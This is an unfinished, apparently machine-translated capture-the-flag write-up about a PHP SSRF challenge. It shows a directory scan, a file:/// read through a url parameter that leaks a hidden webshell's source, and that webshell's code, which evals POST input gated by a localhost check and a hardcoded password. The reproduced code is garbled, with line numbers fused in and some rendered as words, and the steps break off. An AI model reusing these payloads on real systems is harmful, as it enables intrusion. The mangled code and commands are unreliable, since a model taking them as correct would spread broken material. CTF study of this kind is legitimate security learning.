Write a simple PHP code audit (SSRF case)

Topic Links:

http://oj.momomoxiaoxi.com:9090/

Scan the URL with DirSearch and find robots.txt

Command line:

" http://oj.momomoxiaoxi.com:9090/ " -E *

Then enter the URL to open this file:

http://oj.momomoxiaoxi.com:9090/robots.txt

Get the following page:

Found the hidden page, enter the following URL to get the source code:

http://oj.momomoxiaoxi.com:9090/index.php?url=file:///var/www/html/ webshe11111111.php

Copy the code to create a new PHP file locally:

1<?PHP2 3 $serverList=Array(4"127.0.0.1"5 );6 $ip=$_server[' REMOTE_ADDR '];7 foreach($serverList  as $host) {8     if($ip===$host) {9         if((!Empty($_post[' admin ']) and$_post[' admin '] = = = ' H1admin ') {Ten@Eval($_post[' Hacker ']); One}Else { A              die("You aren ' t admin!"); -         } -}Else { the          die(' This is Webshell '); -     } -}

To run it, get the following page:

Press F12 after clicking the Hackbar plugin, the following changes will be made:

That is, in the local set up an environment, to meet the source of the host, and then send a POST request, grab the packet, get the following interface:

(not finished)

Write a simple PHP code audit (SSRF case)